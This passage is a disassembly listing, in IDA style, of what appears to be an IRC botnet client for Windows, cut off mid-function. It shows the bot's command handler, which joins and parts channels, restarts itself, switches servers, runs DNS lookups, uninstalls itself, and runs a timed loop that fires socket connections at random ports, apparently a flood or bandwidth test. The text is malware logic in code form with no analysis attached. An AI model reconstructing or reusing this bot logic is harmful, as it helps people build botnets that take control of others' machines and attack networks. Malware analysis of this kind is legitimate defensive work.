		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A1A7
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B98A:				; CODE XREF: sub_40A9CF+F8Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9BF
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A50E
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9BF:				; CODE XREF: sub_40A9CF+FCEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9F5
		push	offset aPacked_exe ; "packed.exe"
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	36EE80h
		call	ds:dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9F5:				; CODE XREF: sub_40A9CF+1003j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ADC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BA79
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA18
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA18:				; CODE XREF: sub_40A9CF+1042j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset aLast	; "#last"
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BA41
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63EC],	eax
		jmp	short loc_40BA4B
; ---------------------------------------------------------------------------


loc_40BA41:				; CODE XREF: sub_40A9CF+1062j
		mov	[ebp+var_63EC],	offset byte_41DE30


loc_40BA4B:				; CODE XREF: sub_40A9CF+1070j
		push	[ebp+var_63EC]
		push	offset dword_41ED48
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED48
		push	offset aLast	; "#last"
		push	offset aJoinSS	; "JOIN	%s %s"
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA79:				; CODE XREF: sub_40A9CF+1039j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BADB
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA9C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA9C:				; CODE XREF: sub_40A9CF+10C6j
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BAB3
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63F0],	eax
		jmp	short loc_40BABD
; ---------------------------------------------------------------------------


loc_40BAB3:				; CODE XREF: sub_40A9CF+10D4j
		mov	[ebp+var_63F0],	offset byte_41DE30


loc_40BABD:				; CODE XREF: sub_40A9CF+10E2j
		push	[ebp+var_63F0]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset aJoinSS	; "JOIN	%s %s"
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BADB:				; CODE XREF: sub_40A9CF+10BDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB15
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BAFE
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BAFE:				; CODE XREF: sub_40A9CF+1128j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset aPartS	; "PART	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB15:				; CODE XREF: sub_40A9CF+111Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB6C
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BB38
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB38:				; CODE XREF: sub_40A9CF+1162j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_5A70],	eax
		cmp	[ebp+var_5A70],	927C0h
		jle	short loc_40BB5B
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB5B:				; CODE XREF: sub_40A9CF+1185j
		push	[ebp+var_5A70]
		call	ds:dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB6C:				; CODE XREF: sub_40A9CF+1159j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A9C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBB0
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BB93
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BB98


loc_40BB93:				; CODE XREF: sub_40A9CF+11B9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: sub_40A9CF+11C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D4AB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBB0:				; CODE XREF: sub_40A9CF+11B0j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBF4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BBD7
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BBDC


loc_40BBD7:				; CODE XREF: sub_40A9CF+11FDj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBDC:				; CODE XREF: sub_40A9CF+1206j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBF4:				; CODE XREF: sub_40A9CF+11F4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BC28
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC17
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC17:				; CODE XREF: sub_40A9CF+1241j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC28:				; CODE XREF: sub_40A9CF+1238j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCB2
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC84
		cmp	dword_41DE38, 0
		jz	short loc_40BC5B
		mov	[ebp+var_63F4],	offset aOn ; "on"
		jmp	short loc_40BC65
; ---------------------------------------------------------------------------


loc_40BC5B:				; CODE XREF: sub_40A9CF+127Ej
		mov	[ebp+var_63F4],	offset aOff ; "off"


loc_40BC65:				; CODE XREF: sub_40A9CF+128Aj
		push	[ebp+var_63F4]
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC84:				; CODE XREF: sub_40A9CF+1275j
		push	offset aOn	; "on"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40BCA6
		mov	dword_41DE38, 1
		jmp	short loc_40BCAD
; ---------------------------------------------------------------------------


loc_40BCA6:				; CODE XREF: sub_40A9CF+12C9j
		and	dword_41DE38, 0


loc_40BCAD:				; CODE XREF: sub_40A9CF+12D5j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCB2:				; CODE XREF: sub_40A9CF+126Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415DFD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCD9:				; CODE XREF: sub_40A9CF+12F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A44
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD13
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BCFC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCFC:				; CODE XREF: sub_40A9CF+1326j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset aModeS	; "MODE	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD13:				; CODE XREF: sub_40A9CF+131Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A24
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD62


loc_40BD52:				; CODE XREF: sub_40A9CF+1357j
					; sub_40A9CF+136Cj
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD62:				; CODE XREF: sub_40A9CF+1381j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A10
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BDC9
		push	104h
		lea	eax, [ebp+var_5B74]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_5B74]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		cmp	eax, 20h
		ja	short loc_40BDB6
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDB6:				; CODE XREF: sub_40A9CF+13E0j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx
		push	0
		call	ds:dword_41705C	; ExitProcess


loc_40BDC9:				; CODE XREF: sub_40A9CF+13A6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A04
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE19
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BDEC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDEC:				; CODE XREF: sub_40A9CF+1416j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_4199D4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_40A9CF+140Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE38
		call	sub_407148
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE38:				; CODE XREF: sub_40A9CF+145Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199BC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BE62
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199B0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE7B


loc_40BE62:				; CODE XREF: sub_40A9CF+147Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_401D6E
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE7B:				; CODE XREF: sub_40A9CF+1491j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199A8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEA9
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CEB0
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEA9:				; CODE XREF: sub_40A9CF+14BFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41999C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BED3
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41998C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEFD


loc_40BED3:				; CODE XREF: sub_40A9CF+14EDj
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_40D6CB
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEFD:				; CODE XREF: sub_40A9CF+1502j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41996C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C0D9
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BF29
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE30


loc_40BF29:				; CODE XREF: sub_40A9CF+154Ej
		lea	eax, [ebp+var_5B78]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	loc_40C0BA
		mov	eax, [ebp+var_5B78]
		mov	[ebp+var_5B7C],	eax


loc_40BF54:				; CODE XREF: sub_40A9CF+16D8j
		cmp	[ebp+var_5B7C],	0
		jz	loc_40C0AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jnz	loc_40C098
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40BFEA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40BFBA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63F8],	eax
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40A9CF+15DBj
		mov	[ebp+var_63F8],	offset dword_419968


loc_40BFC4:				; CODE XREF: sub_40A9CF+15E9j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63F8]
		push	offset dword_419944
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C08D
; ---------------------------------------------------------------------------


loc_40BFEA:				; CODE XREF: sub_40A9CF+15CEj
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 17h
		jnz	short loc_40C03E
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C011
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63FC],	eax
		jmp	short loc_40C01B
; ---------------------------------------------------------------------------


loc_40C011:				; CODE XREF: sub_40A9CF+1632j
		mov	[ebp+var_63FC],	offset dword_419968


loc_40C01B:				; CODE XREF: sub_40A9CF+1640j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63FC]
		push	offset dword_419920
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------


loc_40C03E:				; CODE XREF: sub_40A9CF+1625j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C059
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6400],	eax
		jmp	short loc_40C063
; ---------------------------------------------------------------------------


loc_40C059:				; CODE XREF: sub_40A9CF+167Aj
		mov	[ebp+var_6400],	offset dword_419968


loc_40C063:				; CODE XREF: sub_40A9CF+1688j
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+4]
		push	[ebp+var_6400]
		push	offset dword_4198EC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_40C08D:				; CODE XREF: sub_40A9CF+1616j
					; sub_40A9CF+166Dj
		push	3E8h
		call	ds:dword_41709C	; Sleep


loc_40C098:				; CODE XREF: sub_40A9CF+15BEj
		mov	eax, [ebp+var_5B7C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_5B7C],	eax
		jmp	loc_40BF54
; ---------------------------------------------------------------------------


loc_40C0AC:				; CODE XREF: sub_40A9CF+158Cj
		push	[ebp+var_5B78]
		call	dword_41DE8C	; freeaddrinfo
		jmp	short loc_40C0D4
; ---------------------------------------------------------------------------


loc_40C0BA:				; CODE XREF: sub_40A9CF+1573j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C0D4:				; CODE XREF: sub_40A9CF+16E9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C0D9:				; CODE XREF: sub_40A9CF+1541j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4198C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C1D4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C105
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE30


loc_40C105:				; CODE XREF: sub_40A9CF+172Aj
		lea	eax, [ebp+var_5F84]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	loc_40C1B5
		push	4
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_6388]
		push	eax
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jnz	short loc_40C1A9
		push	[ebp+var_5F84]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C179
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6404],	eax
		jmp	short loc_40C183
; ---------------------------------------------------------------------------


loc_40C179:				; CODE XREF: sub_40A9CF+179Aj
		mov	[ebp+var_6404],	offset dword_419968


loc_40C183:				; CODE XREF: sub_40A9CF+17A8j
		lea	eax, [ebp+var_6388]
		push	eax
		push	[ebp+var_6404]
		push	offset dword_4198A8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1A9:				; CODE XREF: sub_40A9CF+1781j
		push	[ebp+var_5F84]
		call	dword_41DE8C	; freeaddrinfo


loc_40C1B5:				; CODE XREF: sub_40A9CF+174Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1D4:				; CODE XREF: sub_40A9CF+171Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419898
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C37A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C207
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 0Ah
		ja	short loc_40C20C


loc_40C207:				; CODE XREF: sub_40A9CF+1825j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C20C:				; CODE XREF: sub_40A9CF+1836j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_638C],	eax
		push	4
		push	offset a2002	; "2002"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416DEA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40C35B
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-9]
		mov	[ebp+var_6398],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-8]
		mov	[ebp+var_6397],	al
		and	[ebp+var_6396],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-7]
		mov	[ebp+var_6395],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-6]
		mov	[ebp+var_6394],	al
		and	[ebp+var_6393],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-4]
		mov	[ebp+var_6392],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-3]
		mov	[ebp+var_6391],	al
		and	[ebp+var_6390],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-2]
		mov	[ebp+var_638F],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-1]
		mov	[ebp+var_638E],	al
		and	[ebp+var_638D],	0
		lea	eax, [ebp+var_638F]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6392]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6395]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6398]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419860
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		jmp	short loc_40C375
; ---------------------------------------------------------------------------


loc_40C35B:				; CODE XREF: sub_40A9CF+1866j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419844
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C375:				; CODE XREF: sub_40A9CF+198Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C37A:				; CODE XREF: sub_40A9CF+1818j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419838
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C4B0
		call	sub_416B64	; clock
		mov	[ebp+var_639C],	eax
		and	[ebp+var_63A4],	0
		and	[ebp+var_63A0],	0
		push	10h
		push	0
		lea	eax, [ebp+var_63B4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_63B4],	2


loc_40C3C8:				; CODE XREF: sub_40A9CF+1A95j
		call	sub_416B64	; clock
		sub	eax, [ebp+var_639C]
		cmp	eax, 3E8h
		jnb	loc_40C469
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_63B2],	ax
		push	4
		push	0
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	[ebp+var_63B0],	eax
		push	0
		push	2
		push	2
		call	ds:dword_417218	; socket
		mov	[ebp+var_63B8],	eax
		push	10h
		lea	eax, [ebp+var_63B4]
		push	eax
		push	[ebp+var_63B8]
		call	ds:dword_4171F4	; connect
		push	0
		push	1
		lea	eax, [ebp+var_63A0]
		push	eax
		push	[ebp+var_63B8]
		call	ds:dword_41720C	; send
		push	[ebp+var_63B8]
		call	ds:dword_417230	; closesocket
		mov	eax, [ebp+var_63A4]
		add	eax, 2Bh
		mov	[ebp+var_63A4],	eax
		jmp	loc_40C3C8
; ---------------------------------------------------------------------------


loc_40C469:				; CODE XREF: sub_40A9CF+1A09j
		cmp	[ebp+var_63A4],	400h
		jbe	short loc_40C483
		mov	eax, [ebp+var_63A4]
		mov	[ebp+var_6408],	eax
		jmp	short loc_40C48D
; ---------------------------------------------------------------------------


loc_40C483:				; CODE XREF: sub_40A9CF+1AA4j
		mov	[ebp+var_6408],	400h


loc_40C48D:				; CODE XREF: sub_40A9CF+1AB2j
		mov	eax, [ebp+var_6408]
		shr	eax, 0Ah
		push	eax
		push	offset dword_419820
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4B0:				; CODE XREF: sub_40A9CF+19BEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419818
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C4DA
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41980C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C4FF


loc_40C4DA:				; CODE XREF: sub_40A9CF+1AF4j
		push	offset dword_41DC34
		push	3B6h
		push	0
		push	offset dword_4197E8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4FF:				; CODE XREF: sub_40A9CF+1B09j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C53A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4142BF
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C53A:				; CODE XREF: sub_40A9CF+1B43j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197D4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C564
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C576


loc_40C564:				; CODE XREF: sub_40A9CF+1B7Ej
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4087C4
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C576:				; CODE XREF: sub_40A9CF+1B93j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C5A0
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197B4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C5B2


loc_40C5A0:				; CODE XREF: sub_40A9CF+1BBAj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_408E4A
